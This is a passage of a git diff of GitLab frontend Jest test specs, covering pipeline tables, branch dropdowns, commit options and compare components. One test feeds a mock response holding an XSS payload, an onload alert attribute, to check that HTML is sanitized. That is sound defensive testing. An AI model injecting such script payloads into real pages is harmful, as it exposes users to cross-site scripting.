- wrapper = createWrapper(pipelineWithoutCommit);
- const { commitAuthorElement } = findElements();
-
- expect(commitAuthorElement.exists()).toBe(false);
- });
-
- it('renders commit author', () => {
- wrapper = createWrapper(pipeline);
- const { commitAuthorLink, commitAuthorName } = findElements();
-
- expect(commitAuthorLink).toEqual(pipeline.commit.author.path);
- expect(commitAuthorName).toEqual(pipeline.commit.author.username);
- });
-
- it('renders commit with unregistered author', () => {
- expect(pipelineWithoutAuthor.commit.author).toBe(null);
-
- wrapper = createWrapper(pipelineWithoutAuthor);
- const { commitAuthorLink, commitAuthorName } = findElements();
-
- expect(commitAuthorLink).toEqual(`mailto:${pipelineWithoutAuthor.commit.author_email}`);
- expect(commitAuthorName).toEqual(pipelineWithoutAuthor.commit.author_name);
- });
- });
-
- describe('stages column', () => {
- const findAllMiniPipelineStages = () =>
- wrapper.findAll('.table-section:nth-child(5) [data-testid="mini-pipeline-graph-dropdown"]');
-
- it('should render an icon for each stage', () => {
- wrapper = createWrapper(pipeline);
-
- expect(findAllMiniPipelineStages()).toHaveLength(pipeline.details.stages.length);
- });
-
- it('should not render stages when stages are empty', () => {
- const withoutStages = { ...pipeline };
- withoutStages.details = { ...withoutStages.details, stages: null };
-
- wrapper = createWrapper(withoutStages);
-
- expect(findAllMiniPipelineStages()).toHaveLength(0);
- });
- });
-
- describe('actions column', () => {
- const scheduledJobAction = {
- name: 'some scheduled job',
- };
-
- beforeEach(() => {
- const withActions = { ...pipeline };
- withActions.details.scheduled_actions = [scheduledJobAction];
- withActions.flags.cancelable = true;
- withActions.flags.retryable = true;
- withActions.cancel_path = '/cancel';
- withActions.retry_path = '/retry';
-
- wrapper = createWrapper(withActions);
- });
-
- it('should render the provided actions', () => {
- expect(wrapper.find('.js-pipelines-retry-button').exists()).toBe(true);
- expect(wrapper.find('.js-pipelines-retry-button').attributes('title')).toMatch('Retry');
- expect(wrapper.find('.js-pipelines-cancel-button').exists()).toBe(true);
- expect(wrapper.find('.js-pipelines-cancel-button').attributes('title')).toMatch('Cancel');
- });
-
- it('should render the manual actions', async () => {
- const manualActions = wrapper.find('[data-testid="pipelines-manual-actions-dropdown"]');
-
- // Click on the dropdown and wait for `lazy` dropdown items
- manualActions.find('.dropdown-toggle').trigger('click');
- await waitForPromises();
-
- expect(manualActions.text()).toContain(scheduledJobAction.name);
- });
-
- it('emits `retryPipeline` event when retry button is clicked and toggles loading', () => {
- eventHub.$on('retryPipeline', (endpoint) => {
- expect(endpoint).toBe('/retry');
- });
-
- wrapper.find('.js-pipelines-retry-button').trigger('click');
- expect(wrapper.vm.isRetrying).toBe(true);
- });
-
- it('emits `openConfirmationModal` event when cancel button is clicked and toggles loading', () => {
- eventHub.$once('openConfirmationModal', (data) => {
- const { id, ref, commit } = pipeline;
-
- expect(data.endpoint).toBe('/cancel');
- expect(data.pipeline).toEqual(
- expect.objectContaining({
- id,
- ref,
- commit,
- }),
- );
- });
-
- wrapper.find('.js-pipelines-cancel-button').trigger('click');
- });
-
- it('renders a loading icon when `cancelingPipeline` matches pipeline id', (done) => {
- wrapper.setProps({ cancelingPipeline: pipeline.id });
- wrapper.vm
- .$nextTick()
- .then(() => {
- expect(wrapper.vm.isCancelling).toBe(true);
- })
- .then(done)
- .catch(done.fail);
- });
- });
-});
diff --git a/spec/frontend/pipelines/pipelines_table_spec.js b/spec/frontend/pipelines/pipelines_table_spec.js
index 952bea81052..70e47b98575 100644
--- a/spec/frontend/pipelines/pipelines_table_spec.js
+++ b/spec/frontend/pipelines/pipelines_table_spec.js
@@ -30,23 +30,17 @@ describe('Pipelines Table', () => {
return pipelines.find((p) => p.user !== null && p.commit !== null);
};
- const createComponent = (props = {}, flagState = false) => {
+ const createComponent = (props = {}) => {
wrapper = extendedWrapper(
mount(PipelinesTable, {
propsData: {
...defaultProps,
...props,
},
- provide: {
- glFeatures: {
- newPipelinesTable: flagState,
- },
- },
}),
);
};
- const findRows = () => wrapper.findAll('.commit.gl-responsive-table-row');
const findGlTable = () => wrapper.findComponent(GlTable);
const findStatusBadge = () => wrapper.findComponent(PipelinesStatusBadge);
const findPipelineInfo = () => wrapper.findComponent(PipelineUrl);
@@ -56,8 +50,7 @@ describe('Pipelines Table', () => {
const findTimeAgo = () => wrapper.findComponent(PipelinesTimeago);
const findActions = () => wrapper.findComponent(PipelineOperations);
- const findLegacyTable = () => wrapper.findByTestId('legacy-ci-table');
- const findTableRows = () => wrapper.findAll('[data-testid="pipeline-table-row"]');
+ const findTableRows = () => wrapper.findAllByTestId('pipeline-table-row');
const findStatusTh = () => wrapper.findByTestId('status-th');
const findPipelineTh = () => wrapper.findByTestId('pipeline-th');
const findTriggererTh = () => wrapper.findByTestId('triggerer-th');
@@ -75,52 +68,13 @@ describe('Pipelines Table', () => {
wrapper = null;
});
- describe('table with feature flag off', () => {
- describe('renders the table correctly', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('should render a table', () => {
- expect(wrapper.classes()).toContain('ci-table');
- });
-
- it('should render table head with correct columns', () => {
- expect(wrapper.find('.table-section.js-pipeline-status').text()).toEqual('Status');
-
- expect(wrapper.find('.table-section.js-pipeline-info').text()).toEqual('Pipeline');
-
- expect(wrapper.find('.table-section.js-pipeline-commit').text()).toEqual('Commit');
-
- expect(wrapper.find('.table-section.js-pipeline-stages').text()).toEqual('Stages');
- });
- });
-
- describe('without data', () => {
- it('should render an empty table', () => {
- createComponent();
-
- expect(findRows()).toHaveLength(0);
- });
- });
-
- describe('with data', () => {
- it('should render rows', () => {
- createComponent({ pipelines: [pipeline], viewType: 'root' });
-
- expect(findRows()).toHaveLength(1);
- });
- });
- });
-
- describe('table with feature flag on', () => {
+ describe('Pipelines Table', () => {
beforeEach(() => {
- createComponent({ pipelines: [pipeline], viewType: 'root' }, true);
+ createComponent({ pipelines: [pipeline], viewType: 'root' });
});
- it('displays new table', () => {
+ it('displays table', () => {
expect(findGlTable().exists()).toBe(true);
- expect(findLegacyTable().exists()).toBe(false);
});
it('should render table head with correct columns', () => {
diff --git a/spec/frontend/pipelines/time_ago_spec.js b/spec/frontend/pipelines/time_ago_spec.js
index 93aeb049434..3de7995b476 100644
--- a/spec/frontend/pipelines/time_ago_spec.js
+++ b/spec/frontend/pipelines/time_ago_spec.js
@@ -1,25 +1,33 @@
import { GlIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import TimeAgo from '~/pipelines/components/pipelines_list/time_ago.vue';
describe('Timeago component', () => {
let wrapper;
- const createComponent = (props = {}) => {
- wrapper = shallowMount(TimeAgo, {
- propsData: {
- pipeline: {
- details: {
- ...props,
+ const defaultProps = { duration: 0, finished_at: '' };
+
+ const createComponent = (props = defaultProps, stuck = false) => {
+ wrapper = extendedWrapper(
+ shallowMount(TimeAgo, {
+ propsData: {
+ pipeline: {
+ details: {
+ ...props,
+ },
+ flags: {
+ stuck,
+ },
},
},
- },
- data() {
- return {
- iconTimerSvg: `<svg></svg>`,
- };
- },
- });
+ data() {
+ return {
+ iconTimerSvg: `<svg></svg>`,
+ };
+ },
+ }),
+ );
};
afterEach(() => {
@@ -29,7 +37,10 @@ describe('Timeago component', () => {
const duration = () => wrapper.find('.duration');
const finishedAt = () => wrapper.find('.finished-at');
- const findInProgress = () => wrapper.find('[data-testid="pipeline-in-progress"]');
+ const findInProgress = () => wrapper.findByTestId('pipeline-in-progress');
+ const findSkipped = () => wrapper.findByTestId('pipeline-skipped');
+ const findHourGlassIcon = () => wrapper.findByTestId('hourglass-icon');
+ const findWarningIcon = () => wrapper.findByTestId('warning-icon');
describe('with duration', () => {
beforeEach(() => {
@@ -46,7 +57,7 @@ describe('Timeago component', () => {
describe('without duration', () => {
beforeEach(() => {
- createComponent({ duration: 0, finished_at: '' });
+ createComponent();
});
it('should not render duration and timer svg', () => {
@@ -71,7 +82,7 @@ describe('Timeago component', () => {
describe('without finishedTime', () => {
beforeEach(() => {
- createComponent({ duration: 0, finished_at: '' });
+ createComponent();
});
it('should not render time and calendar icon', () => {
@@ -89,10 +100,34 @@ describe('Timeago component', () => {
`(
'progress state shown: $shouldShow when pipeline duration is $durationTime and finished_at is $finishedAtTime',
({ durationTime, finishedAtTime, shouldShow }) => {
- createComponent({ duration: durationTime, finished_at: finishedAtTime });
+ createComponent({
+ duration: durationTime,
+ finished_at: finishedAtTime,
+ });
expect(findInProgress().exists()).toBe(shouldShow);
+ expect(findSkipped().exists()).toBe(false);
},
);
+
+ it('should show warning icon beside in progress if pipeline is stuck', () => {
+ const stuck = true;
+
+ createComponent(defaultProps, stuck);
+
+ expect(findWarningIcon().exists()).toBe(true);
+ expect(findHourGlassIcon().exists()).toBe(false);
+ });
+ });
+
+ describe('skipped', () => {
+ it('should show skipped if pipeline was skipped', () => {
+ createComponent({
+ status: { label: 'skipped' },
+ });
+
+ expect(findSkipped().exists()).toBe(true);
+ expect(findInProgress().exists()).toBe(false);
+ });
});
});
diff --git a/spec/frontend/pipelines/unwrapping_utils_spec.js b/spec/frontend/pipelines/unwrapping_utils_spec.js
index cd16ed7262e..a6ce7d4049f 100644
--- a/spec/frontend/pipelines/unwrapping_utils_spec.js
+++ b/spec/frontend/pipelines/unwrapping_utils_spec.js
@@ -96,11 +96,11 @@ const completeMock = [
describe('Shared pipeline unwrapping utils', () => {
describe('unwrapGroups', () => {
it('takes stages without nodes and returns the unwrapped groups', () => {
- expect(unwrapGroups(stagesAndGroups)[0].groups).toEqual(groupsArray);
+ expect(unwrapGroups(stagesAndGroups)[0].node.groups).toEqual(groupsArray);
});
it('keeps other stage properties intact', () => {
- expect(unwrapGroups(stagesAndGroups)[0]).toMatchObject(basicStageInfo);
+ expect(unwrapGroups(stagesAndGroups)[0].node).toMatchObject(basicStageInfo);
});
});
diff --git a/spec/frontend/projects/commit/components/branches_dropdown_spec.js b/spec/frontend/projects/commit/components/branches_dropdown_spec.js
index 7686c28c7fc..ab84c3768d0 100644
--- a/spec/frontend/projects/commit/components/branches_dropdown_spec.js
+++ b/spec/frontend/projects/commit/components/branches_dropdown_spec.js
@@ -15,7 +15,7 @@ describe('BranchesDropdown', () => {
const createComponent = (term, state = { isFetching: false }) => {
store = new Vuex.Store({
getters: {
- joinedBranches: () => ['_master_', '_branch_1_', '_branch_2_'],
+ joinedBranches: () => ['_main_', '_branch_1_', '_branch_2_'],
},
actions: {
fetchBranches: spyFetchBranches,
@@ -94,13 +94,13 @@ describe('BranchesDropdown', () => {
it('renders all branches when search term is empty', () => {
expect(findAllDropdownItems()).toHaveLength(3);
- expect(findDropdownItemByIndex(0).text()).toBe('_master_');
+ expect(findDropdownItemByIndex(0).text()).toBe('_main_');
expect(findDropdownItemByIndex(1).text()).toBe('_branch_1_');
expect(findDropdownItemByIndex(2).text()).toBe('_branch_2_');
});
it('should not be selected on the inactive branch', () => {
- expect(wrapper.vm.isSelected('_master_')).toBe(false);
+ expect(wrapper.vm.isSelected('_main_')).toBe(false);
});
});
diff --git a/spec/frontend/projects/commit/components/commit_comments_button_spec.js b/spec/frontend/projects/commit/components/commit_comments_button_spec.js
new file mode 100644
index 00000000000..873270c5be1
--- /dev/null
+++ b/spec/frontend/projects/commit/components/commit_comments_button_spec.js
@@ -0,0 +1,42 @@
+import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import CommitCommentsButton from '~/projects/commit/components/commit_comments_button.vue';
+
+describe('CommitCommentsButton', () => {
+ let wrapper;
+
+ const createComponent = (props = {}) => {
+ wrapper = extendedWrapper(
+ shallowMount(CommitCommentsButton, {
+ propsData: {
+ commentsCount: 1,
+ ...props,
+ },
+ }),
+ );
+ };
+
+ const tooltip = () => wrapper.findByTestId('comment-button-wrapper');
+
+ describe('Comment Button', () => {
+ it('has proper tooltip and button attributes for 1 comment', () => {
+ createComponent();
+
+ expect(tooltip().attributes('title')).toBe('1 comment on this commit');
+ expect(tooltip().text()).toBe('1');
+ });
+
+ it('has proper tooltip and button attributes for multiple comments', () => {
+ createComponent({ commentsCount: 2 });
+
+ expect(tooltip().attributes('title')).toBe('2 comments on this commit');
+ expect(tooltip().text()).toBe('2');
+ });
+
+ it('does not show when there are no comments', () => {
+ createComponent({ commentsCount: 0 });
+
+ expect(tooltip().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/projects/commit/components/commit_options_dropdown_spec.js b/spec/frontend/projects/commit/components/commit_options_dropdown_spec.js
new file mode 100644
index 00000000000..70491405986
--- /dev/null
+++ b/spec/frontend/projects/commit/components/commit_options_dropdown_spec.js
@@ -0,0 +1,123 @@
+import { GlDropdownDivider, GlDropdownSectionHeader } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import CommitOptionsDropdown from '~/projects/commit/components/commit_options_dropdown.vue';
+import { OPEN_REVERT_MODAL, OPEN_CHERRY_PICK_MODAL } from '~/projects/commit/constants';
+import eventHub from '~/projects/commit/event_hub';
+
+describe('BranchesDropdown', () => {
+ let wrapper;
+ const provide = {
+ newProjectTagPath: '_new_project_tag_path_',
+ emailPatchesPath: '_email_patches_path_',
+ plainDiffPath: '_plain_diff_path_',
+ };
+
+ const createComponent = (props = {}) => {
+ wrapper = extendedWrapper(
+ shallowMount(CommitOptionsDropdown, {
+ provide,
+ propsData: {
+ canRevert: true,
+ canCherryPick: true,
+ canTag: true,
+ canEmailPatches: true,
+ ...props,
+ },
+ }),
+ );
+ };
+
+ const findRevertLink = () => wrapper.findByTestId('revert-link');
+ const findCherryPickLink = () => wrapper.findByTestId('cherry-pick-link');
+ const findTagItem = () => wrapper.findByTestId('tag-link');
+ const findEmailPatchesItem = () => wrapper.findByTestId('email-patches-link');
+ const findPlainDiffItem = () => wrapper.findByTestId('plain-diff-link');
+ const findDivider = () => wrapper.findComponent(GlDropdownDivider);
+ const findSectionHeader = () => wrapper.findComponent(GlDropdownSectionHeader);
+
+ describe('Everything enabled', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('has expected dropdown button text', () => {
+ expect(wrapper.attributes('text')).toBe('Options');
+ });
+
+ it('has expected items', () => {
+ expect(
+ [
+ findRevertLink().exists(),
+ findCherryPickLink().exists(),
+ findTagItem().exists(),
+ findDivider().exists(),
+ findSectionHeader().exists(),
+ findEmailPatchesItem().exists(),
+ findPlainDiffItem().exists(),
+ ].every((exists) => exists),
+ ).toBe(true);
+ });
+
+ it('has expected href links', () => {
+ expect(findTagItem().attributes('href')).toBe(provide.newProjectTagPath);
+ expect(findEmailPatchesItem().attributes('href')).toBe(provide.emailPatchesPath);
+ expect(findPlainDiffItem().attributes('href')).toBe(provide.plainDiffPath);
+ });
+ });
+
+ describe('Different dropdown item permutations', () => {
+ it('does not have a revert option', () => {
+ createComponent({ canRevert: false });
+
+ expect(findRevertLink().exists()).toBe(false);
+ });
+
+ it('does not have a cherry-pick option', () => {
+ createComponent({ canCherryPick: false });
+
+ expect(findCherryPickLink().exists()).toBe(false);
+ });
+
+ it('does not have a tag option', () => {
+ createComponent({ canTag: false });
+
+ expect(findTagItem().exists()).toBe(false);
+ });
+
+ it('does not have a email patches options', () => {
+ createComponent({ canEmailPatches: false });
+
+ expect(findEmailPatchesItem().exists()).toBe(false);
+ });
+
+ it('only has the download items', () => {
+ createComponent({ canRevert: false, canCherryPick: false, canTag: false });
+
+ expect(findDivider().exists()).toBe(false);
+ expect(findEmailPatchesItem().exists()).toBe(true);
+ expect(findPlainDiffItem().exists()).toBe(true);
+ });
+ });
+
+ describe('Modal triggering', () => {
+ let spy;
+
+ beforeEach(() => {
+ spy = jest.spyOn(eventHub, '$emit');
+ createComponent();
+ });
+
+ it('emits openModal for revert', () => {
+ findRevertLink().vm.$emit('click');
+
+ expect(spy).toHaveBeenCalledWith(OPEN_REVERT_MODAL);
+ });
+
+ it('emits openModal for cherry-pick', () => {
+ findCherryPickLink().vm.$emit('click');
+
+ expect(spy).toHaveBeenCalledWith(OPEN_CHERRY_PICK_MODAL);
+ });
+ });
+});
diff --git a/spec/frontend/projects/commit/components/form_modal_spec.js b/spec/frontend/projects/commit/components/form_modal_spec.js
index 708644cb7ee..9688cb47799 100644
--- a/spec/frontend/projects/commit/components/form_modal_spec.js
+++ b/spec/frontend/projects/commit/components/form_modal_spec.js
@@ -17,15 +17,14 @@ describe('CommitFormModal', () => {
let store;
let axiosMock;
- const createComponent = (method, state = {}, provide = {}) => {
+ const createComponent = (method, state = {}, provide = {}, propsData = {}) => {
store = createStore({ ...mockData.mockModal, ...state });
wrapper = extendedWrapper(
method(CommitFormModal, {
provide: {
...provide,
- glFeatures: { pickIntoProject: true },
},
- propsData: { ...mockData.modalPropsData },
+ propsData: { ...mockData.modalPropsData, ...propsData },
store,
attrs: {
static: true,
@@ -160,6 +159,12 @@ describe('CommitFormModal', () => {
});
it('Changes the target_project_id input value', async () => {
+ createComponent(
+ shallowMount,
+ {},
+ { glFeatures: { pickIntoProject: true } },
+ { isCherryPick: true },
+ );
findProjectsDropdown().vm.$emit('selectProject', '_changed_project_value_');
await wrapper.vm.$nextTick();
diff --git a/spec/frontend/projects/commit/components/form_trigger_spec.js b/spec/frontend/projects/commit/components/form_trigger_spec.js
deleted file mode 100644
index 4503493c0a6..00000000000
--- a/spec/frontend/projects/commit/components/form_trigger_spec.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import { GlLink } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import FormTrigger from '~/projects/commit/components/form_trigger.vue';
-import eventHub from '~/projects/commit/event_hub';
-
-const displayText = '_display_text_';
-
-const createComponent = () => {
- return shallowMount(FormTrigger, {
- provide: { displayText },
- propsData: { openModal: '_open_modal_' },
- });
-};
-
-describe('FormTrigger', () => {
- let wrapper;
- let spy;
-
- beforeEach(() => {
- spy = jest.spyOn(eventHub, '$emit');
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- const findLink = () => wrapper.find(GlLink);
-
- describe('displayText', () => {
- it('includes the correct displayText for the link', () => {
- expect(findLink().text()).toBe(displayText);
- });
- });
-
- describe('clicking the link', () => {
- it('emits openModal', () => {
- findLink().vm.$emit('click');
-
- expect(spy).toHaveBeenCalledWith('_open_modal_');
- });
- });
-});
diff --git a/spec/frontend/projects/commit/mock_data.js b/spec/frontend/projects/commit/mock_data.js
index e4dcb24c4c0..34e9c400af4 100644
--- a/spec/frontend/projects/commit/mock_data.js
+++ b/spec/frontend/projects/commit/mock_data.js
@@ -23,6 +23,6 @@ export default {
modalId: '_modal_id_',
openModal: '_open_modal_',
},
- mockBranches: ['_branch_1', '_abc_', '_master_'],
+ mockBranches: ['_branch_1', '_abc_', '_main_'],
mockProjects: ['_project_1', '_abc_', '_project_'],
};
diff --git a/spec/frontend/projects/commit/store/mutations_spec.js b/spec/frontend/projects/commit/store/mutations_spec.js
index 8989e769772..60abf0fddad 100644
--- a/spec/frontend/projects/commit/store/mutations_spec.js
+++ b/spec/frontend/projects/commit/store/mutations_spec.js
@@ -27,7 +27,7 @@ describe('Commit form modal mutations', () => {
describe('CLEAR_MODAL', () => {
it('should clear modal state ', () => {
- stateCopy = { branch: '_master_', defaultBranch: '_default_branch_' };
+ stateCopy = { branch: '_main_', defaultBranch: '_default_branch_' };
mutations[types.CLEAR_MODAL](stateCopy);
@@ -47,7 +47,7 @@ describe('Commit form modal mutations', () => {
describe('SET_BRANCH', () => {
it('should set branch', () => {
- stateCopy = { branch: '_master_' };
+ stateCopy = { branch: '_main_' };
mutations[types.SET_BRANCH](stateCopy, '_changed_branch_');
@@ -57,7 +57,7 @@ describe('Commit form modal mutations', () => {
describe('SET_SELECTED_BRANCH', () => {
it('should set selectedBranch', () => {
- stateCopy = { selectedBranch: '_master_' };
+ stateCopy = { selectedBranch: '_main_' };
mutations[types.SET_SELECTED_BRANCH](stateCopy, '_changed_branch_');
diff --git a/spec/frontend/projects/commit_box/info/load_branches_spec.js b/spec/frontend/projects/commit_box/info/load_branches_spec.js
index 8100200cbdd..9456e6ef5f5 100644
--- a/spec/frontend/projects/commit_box/info/load_branches_spec.js
+++ b/spec/frontend/projects/commit_box/info/load_branches_spec.js
@@ -1,66 +1,73 @@
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
+import { setHTMLFixture } from 'helpers/fixtures';
import waitForPromises from 'helpers/wait_for_promises';
import { loadBranches } from '~/projects/commit_box/info/load_branches';
const mockCommitPath = '/commit/abcd/branches';
const mockBranchesRes =
- '<a href="/-/commits/master">master</a><span><a href="/-/commits/my-branch">my-branch</a></span>';
+ '<a href="/-/commits/main">main</a><span><a href="/-/commits/my-branch">my-branch</a></span>';
describe('~/projects/commit_box/info/load_branches', () => {
let mock;
- let el;
+
+ const getElInnerHtml = () => document.querySelector('.js-commit-box-info').innerHTML;
beforeEach(() => {
+ setHTMLFixture(`
+ <div class="js-commit-box-info" data-commit-path="${mockCommitPath}">
+ <div class="commit-info branches">
+ <span class="spinner"/>
+ </div>
+ </div>`);
+
mock = new MockAdapter(axios);
mock.onGet(mockCommitPath).reply(200, mockBranchesRes);
-
- el = document.createElement('div');
- el.dataset.commitPath = mockCommitPath;
- el.innerHTML = '<div class="commit-info branches"><span class="spinner"/></div>';
});
it('loads and renders branches info', async () => {
- loadBranches(el);
+ loadBranches();
await waitForPromises();
- expect(el.innerHTML).toBe(`<div class="commit-info branches">${mockBranchesRes}</div>`);
+ expect(getElInnerHtml()).toMatchInterpolatedText(
+ `<div class="commit-info branches">${mockBranchesRes}</div>`,
+ );
});
it('does not load when no container is provided', async () => {
- loadBranches(null);
+ loadBranches('.js-another-class');
await waitForPromises();
expect(mock.history.get).toHaveLength(0);
});
- describe('when braches request returns unsafe content', () => {
+ describe('when branches request returns unsafe content', () => {
beforeEach(() => {
mock
.onGet(mockCommitPath)
- .reply(200, '<a onload="alert(\'xss!\');" href="/-/commits/master">master</a>');
+ .reply(200, '<a onload="alert(\'xss!\');" href="/-/commits/main">main</a>');
});
it('displays sanitized html', async () => {
- loadBranches(el);
+ loadBranches();
await waitForPromises();
- expect(el.innerHTML).toBe(
- '<div class="commit-info branches"><a href="/-/commits/master">master</a></div>',
+ expect(getElInnerHtml()).toMatchInterpolatedText(
+ '<div class="commit-info branches"><a href="/-/commits/main">main</a></div>',
);
});
});
- describe('when braches request fails', () => {
+ describe('when branches request fails', () => {
beforeEach(() => {
mock.onGet(mockCommitPath).reply(500, 'Error!');
});
it('attempts to load and renders an error', async () => {
- loadBranches(el);
+ loadBranches();
await waitForPromises();
- expect(el.innerHTML).toBe(
+ expect(getElInnerHtml()).toMatchInterpolatedText(
'<div class="commit-info branches">Failed to load branches. Please try again.</div>',
);
});
diff --git a/spec/frontend/projects/compare/components/app_legacy_spec.js b/spec/frontend/projects/compare/components/app_legacy_spec.js
index 4c7f0d5cccc..93e96c8b9f7 100644
--- a/spec/frontend/projects/compare/components/app_legacy_spec.js
+++ b/spec/frontend/projects/compare/components/app_legacy_spec.js
@@ -8,7 +8,7 @@ jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
const projectCompareIndexPath = 'some/path';
const refsProjectPath = 'some/refs/path';
const paramsFrom = 'master';
-const paramsTo = 'master';
+const paramsTo = 'some-other-branch';
describe('CompareApp component', () => {
let wrapper;
@@ -36,6 +36,9 @@ describe('CompareApp component', () => {
createComponent();
});
+ const findSourceDropdown = () => wrapper.find('[data-testid="sourceRevisionDropdown"]');
+ const findTargetDropdown = () => wrapper.find('[data-testid="targetRevisionDropdown"]');
+
it('renders component with prop', () => {
expect(wrapper.props()).toEqual(
expect.objectContaining({
@@ -62,12 +65,31 @@ describe('CompareApp component', () => {
expect(wrapper.find('[data-testid="ellipsis"]').exists()).toBe(true);
});
- it('render Source and Target BranchDropdown components', () => {
- const branchDropdowns = wrapper.findAll(RevisionDropdown);
+ describe('Source and Target BranchDropdown components', () => {
+ const findAllBranchDropdowns = () => wrapper.findAll(RevisionDropdown);
+
+ it('renders the components with the correct props', () => {
+ expect(findAllBranchDropdowns().length).toBe(2);
+ expect(findSourceDropdown().props('revisionText')).toBe('Source');
+ expect(findTargetDropdown().props('revisionText')).toBe('Target');
+ });
+
+ it('sets the revision when the "selectRevision" event is emitted', async () => {
+ findSourceDropdown().vm.$emit('selectRevision', {
+ direction: 'to',
+ revision: 'some-source-revision',
+ });
+
+ findTargetDropdown().vm.$emit('selectRevision', {
+ direction: 'from',
+ revision: 'some-target-revision',
+ });
+
+ await wrapper.vm.$nextTick();
- expect(branchDropdowns.length).toBe(2);
- expect(branchDropdowns.at(0).props('revisionText')).toBe('Source');
- expect(branchDropdowns.at(1).props('revisionText')).toBe('Target');
+ expect(findTargetDropdown().props('paramsBranch')).toBe('some-target-revision');
+ expect(findSourceDropdown().props('paramsBranch')).toBe('some-source-revision');
+ });
});
describe('compare button', () => {
@@ -87,6 +109,27 @@ describe('CompareApp component', () => {
});
});
+ describe('swap revisions button', () => {
+ const findSwapRevisionsButton = () => wrapper.find('[data-testid="swapRevisionsButton"]');
+
+ it('renders the swap revisions button', () => {
+ expect(findSwapRevisionsButton().exists()).toBe(true);
+ });
+
+ it('has the correct text', () => {
+ expect(findSwapRevisionsButton().text()).toBe('Swap revisions');
+ });
+
+ it('swaps revisions when clicked', async () => {
+ findSwapRevisionsButton().vm.$emit('click');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findTargetDropdown().props('paramsBranch')).toBe(paramsTo);
+ expect(findSourceDropdown().props('paramsBranch')).toBe(paramsFrom);
+ });
+ });
+
describe('merge request buttons', () => {
const findProjectMrButton = () => wrapper.find('[data-testid="projectMrButton"]');
const findCreateMrButton = () => wrapper.find('[data-testid="createMrButton"]');
diff --git a/spec/frontend/projects/compare/components/repo_dropdown_spec.js b/spec/frontend/projects/compare/components/repo_dropdown_spec.js
index af76632515c..df8fea8fd32 100644
--- a/spec/frontend/projects/compare/components/repo_dropdown_spec.js
+++ b/spec/frontend/projects/compare/components/repo_dropdown_spec.js
@@ -1,4 +1,4 @@
-import { GlDropdown } from '@gitlab/ui';
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import RepoDropdown from '~/projects/compare/components/repo_dropdown.vue';
@@ -69,12 +69,12 @@ describe('RepoDropdown component', () => {
createComponent({ paramsName: 'from' });
});
- it('set hidden input of the first project', () => {
- expect(findHiddenInput().attributes('value')).toBe(projectFromId);
+ it('set hidden input of the selected project', () => {
+ expect(findHiddenInput().attributes('value')).toBe(projectToId);
});
- it('displays the first project name initially in the dropdown', () => {
- expect(findGlDropdown().props('text')).toBe(projectFromName);
+ it('displays matching project name of the source revision initially in the dropdown', () => {
+ expect(findGlDropdown().props('text')).toBe(projectToName);
});
it('updates the hiddin input value when onClick method is triggered', async () => {
@@ -84,15 +84,13 @@ describe('RepoDropdown component', () => {
expect(findHiddenInput().attributes('value')).toBe(repoId);
});
- it('emits initial `changeTargetProject` event with target project', () => {
- expect(wrapper.emitted('changeTargetProject')).toEqual([[projectFromName]]);
- });
-
it('emits `changeTargetProject` event when another target project is selected', async () => {
- const newTargetProject = 'new-from-name';
- wrapper.vm.$emit('changeTargetProject', newTargetProject);
+ const index = 1;
+ const { projectsFrom } = defaultProvide;
+ findGlDropdown().findAll(GlDropdownItem).at(index).vm.$emit('click');
await wrapper.vm.$nextTick();
- expect(wrapper.emitted('changeTargetProject')[1]).toEqual([newTargetProject]);
+
+ expect(wrapper.emitted('changeTargetProject')[0][0]).toEqual(projectsFrom[index].name);
});
});
});
diff --git a/spec/frontend/projects/compare/components/revision_dropdown_legacy_spec.js b/spec/frontend/projects/compare/components/revision_dropdown_legacy_spec.js
index 270c89e674c..ca208395e82 100644
--- a/spec/frontend/projects/compare/components/revision_dropdown_legacy_spec.js
+++ b/spec/frontend/projects/compare/components/revision_dropdown_legacy_spec.js
@@ -1,4 +1,4 @@
-import { GlDropdown } from '@gitlab/ui';
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
import createFlash from '~/flash';
@@ -29,6 +29,7 @@ describe('RevisionDropdown component', () => {
beforeEach(() => {
axiosMock = new AxiosMockAdapter(axios);
+ createComponent();
});
afterEach(() => {
@@ -39,7 +40,6 @@ describe('RevisionDropdown component', () => {
const findGlDropdown = () => wrapper.find(GlDropdown);
it('sets hidden input', () => {
- createComponent();
expect(wrapper.find('input[type="hidden"]').attributes('value')).toBe(
defaultProps.paramsBranch,
);
@@ -68,8 +68,6 @@ describe('RevisionDropdown component', () => {
Tags: undefined,
});
- createComponent();
-
await axios.waitForAll();
expect(wrapper.vm.branches).toEqual([]);
@@ -79,15 +77,12 @@ describe('RevisionDropdown component', () => {
it('shows flash message on error', async () => {
axiosMock.onGet('some/invalid/path').replyOnce(404);
- createComponent();
-
await wrapper.vm.fetchBranchesAndTags();
expect(createFlash).toHaveBeenCalled();
});
describe('GlDropdown component', () => {
it('renders props', () => {
- createComponent();
expect(wrapper.props()).toEqual(expect.objectContaining(defaultProps));
});
@@ -99,8 +94,22 @@ describe('RevisionDropdown component', () => {
});
it('display params branch text', () => {
- createComponent();
expect(findGlDropdown().props('text')).toBe(defaultProps.paramsBranch);
});
+
+ it('emits a "selectRevision" event when a revision is selected', async () => {
+ const findGlDropdownItems = () => wrapper.findAll(GlDropdownItem);
+ const findFirstGlDropdownItem = () => findGlDropdownItems().at(0);
+
+ wrapper.setData({ branches: ['some-branch'] });
+
+ await wrapper.vm.$nextTick();
+
+ findFirstGlDropdownItem().vm.$emit('click');
+
+ expect(wrapper.emitted()).toEqual({
